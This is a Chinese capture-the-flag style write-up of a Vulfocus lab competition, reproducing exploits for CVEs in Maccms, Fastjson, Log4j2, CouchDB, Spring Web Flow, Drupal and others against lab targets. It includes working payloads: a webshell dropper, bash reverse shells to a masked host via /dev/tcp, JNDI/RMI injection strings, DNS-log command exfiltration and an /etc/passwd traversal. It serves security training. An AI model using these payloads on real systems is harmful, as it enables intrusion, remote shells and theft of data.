Vulfocus 靶场竞赛 WriteUp
作者:夏天@UTF-8
声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。
题目号:030
描述
Maccms是一套跨平台的基于PHP和MySQL快速建站系统。 Maccms 8.x版本中存在安全漏洞。远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令。
CVE编号:CVE-2017-17733
复现
POC
http://106.75.119.109:56376/?m=vod-search
POST:wd={if-A:phpinfo()}{endif-A}
写入一句话木马,post传入
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
木马路径http://106.75.119.109:56376/c.php 密码:c
题目号:036
描述
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象 fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。
cnvd漏洞编号:CNVD-2017-02833
复现
反弹shell
Exploit.java
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xxxxxxxx/1122 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
javac生成Exploit.class
python3 -m http.server --bind 0.0.0.0 1234 开启WEB服务,要在Exploit.class目录下
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxxxxxx:1234/#Exploit" 9999 开启rmi服务加载恶意payload
POST / HTTP/1.1
Host: 106.75.119.109:8319
Content-Length: 263
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Origin: http://106.75.119.109:8319
Content-Type: text/plain
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://106.75.119.109:8319/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ; redirect=1; JSESSIONID=52353575D2190FB692CBB1125D978C4B
Connection: close
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxxxxxxxx:9999/Exploit",
"autoCommit":true
}
}
题目号:045
描述
Webmin是Webmin社区的一套基于Web的用于类Unix操作系统中的系统管理工具。 Webmin 1.962版本及之前版本存在安全漏洞,该漏洞允许执行任意命令。任何被授权使用Package Updates模块的用户都可以使用根权限通过包含和的向量执行任意命令。 账户密码:root:password
CVE编号:CVE-2020-35606
复现
https访问
https://106.75.119.109:37875/password_change.cgi
user=rootxx&pam=&expired=2&old=ls /tmp&new1=test2&new2=test2
题目号:052
描述
Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。 Jupyter Notebook可直接使用命令行执行任意命令。
CVE编号:CVE-2019-9644
复现
题目号:058
描述
Elasticsearch是一个高度可扩展的开源全文搜索和分析引擎。它允许您快速,近实时地存储,搜索和分析大量数据。它通常用作底层引擎/技术,为具有复杂搜索功能和要求的应用程序提供支持。
ElasticSearch其有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。但其用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。
而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。
CVE编号:CVE-2015-1427
复现
POST /_search?pretty HTTP/1.1
Host: 106.75.119.109:33026
Pragma: no-cache
Cache-Control: no-cache
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
X-Requested-With: xm lHttpRequest
Referer: http://106.75.119.109:33026/_search?pretty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1640767163; SESS28c7e2280da264064ffa80d84cd80dc4=v_4H6stRpW6vZpQdCiRlclhWAYyTO8sTVJIZcp6UEBQ
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 361
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
题目号:059
描述
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。 CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
复现
看到主页一脸懵逼,这什么东西
不懂就上nmap扫指纹
nmap -p 20785 -sV -sC -v 106.75.119.109
版本1.6.0
真正的主页http://106.75.119.109:20785/_utils/
POC
curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/_config/query_servers/cmd' -d '"ping -t 4 `ls /tmp`.wu5vm3.dnslog.cn"'
curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456
curl -X PUT 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7a"}'
curl -X POST 'http://vulhub:vulhub@106.75.119.109:29486/vultest123456/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
坑点,在执行第二遍的第二条命令时会报错(无法创建数据库,文件已存在。),需要把vultest123456改一下,三和四也要改成一样的。
题目号:062
描述
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
CVE编号:CVE-2021-44228
复现
工具地址
https://github.com/Mr-xn/JNDIExploit-1
root@iZ2zegj6z62g2us7qvukxsZ:~/test# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i xxxxxxxxxx -l 7000 -p 5000
[+] LDAP Server Start Listening on 7000...
[+] HTTP Server Start Listening on 5000...
payload=${jndi:ldap://xxx.xxx.xxx.xxx:7000/TomcatBypass/TomcatEcho}
题目号:071
描述
Spring Web Flow建立在Spring MVC之上,并允许实现Web应用程序的“流” 由于没有明确指定相关 model 的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞
CVE编号:CVE-2017-4971
复现
点击Login进入登录模块
多个默认账号与密码,随意挑选一个进行登录
漏洞触发点
点击Book Hotel
填写好点击proceed
在点击Confirm的时候抓下包
payload
_eventId_confirm=&_csrf=404e5fd4-b3e6-42f2-ac0c-23c16de3b1de&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/x.x.x.x/8089+0>%261")).start()=vulhub
成功反弹shell
题目号:076
描述
Drupal core是Drupal社区所维护的一套用PHP语言开发的免费、开源的内容管理系统。 Drupal core 7.62之前的7.x版本、8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本中的内置phar stream wrapper(PHP)存在远程代码执行漏洞。远程攻击者可利用该漏洞执行任意的php代码。
cve编号:cve-2019-6339
复现
先登录:用户名密码:admin/123456(比赛中用的密码基本都是这种弱密码)
POC下载地址
https://github.com/thezdi/PoC/tree/master/Drupal
进入链接上传POC
http://xxx.xxx.xxx.xxx/user/1/edit
复制图片链接http://xxx.xxx.xxx.xxx:36857/sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg
Drupal的默认文件保存地址是/site/default/files/pictures/xxx-xxx/图片名字
然后设置一个临时目录
http://xxx.xxx.xxx.xxx:55965/admin/config/media/file-system
改成phar://./sites/default/files/pictures/2021-12/blog-ZDI-CAN-7232-cat.jpg放入Temporary directory
点击Save configuration保存日志触发漏洞
修改poc,让其执行的命令为:ls /tmp
使用工具:winhex
前面的s:7一定修改,ls /tmp的字节为7
保存图片,上传,触发
题目号:077
描述
Nostromo nhttpd是一款开源的Web服务器。 Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。
CVE编号:cve-2019-16278
复现
http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/etc/passwd
http://106.75.119.109:24149/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/tmp/
结尾
一些做题技巧,当打开题目无从下手时,可以利用指纹扫描工具比如Goby、Xray、vulmap、nmap,指纹信息搭配Goby可快速利用漏洞(渗透测试本质就是信息收集),也可根据指纹信息去靶场环境搜索找到CVE编号然后百度找复现文章(坑点多),或者去github找大佬写好的工具一把梭,在复现学习过程中不建议复现完漏洞就完事,做好笔记,学习漏洞点,学习攻击手法。
仅代表个人的评价比赛与总结:感觉像是把CTF(夺旗比赛)与实战(各种实战中可能遇到的漏洞)融合。漏洞日益渐增,复现/分析/了解漏洞一直是比较困难的,要么自己找源码去尝试,要么借助网络空间安全搜索引擎(fofa)在未授权的环境进行测试复现,vulfocus的出现不仅保护了网络上的安全,也保护了不懂法的小白,希望vulfocus与办越好。下次我一定要找俩队友冲进前五。
最新评论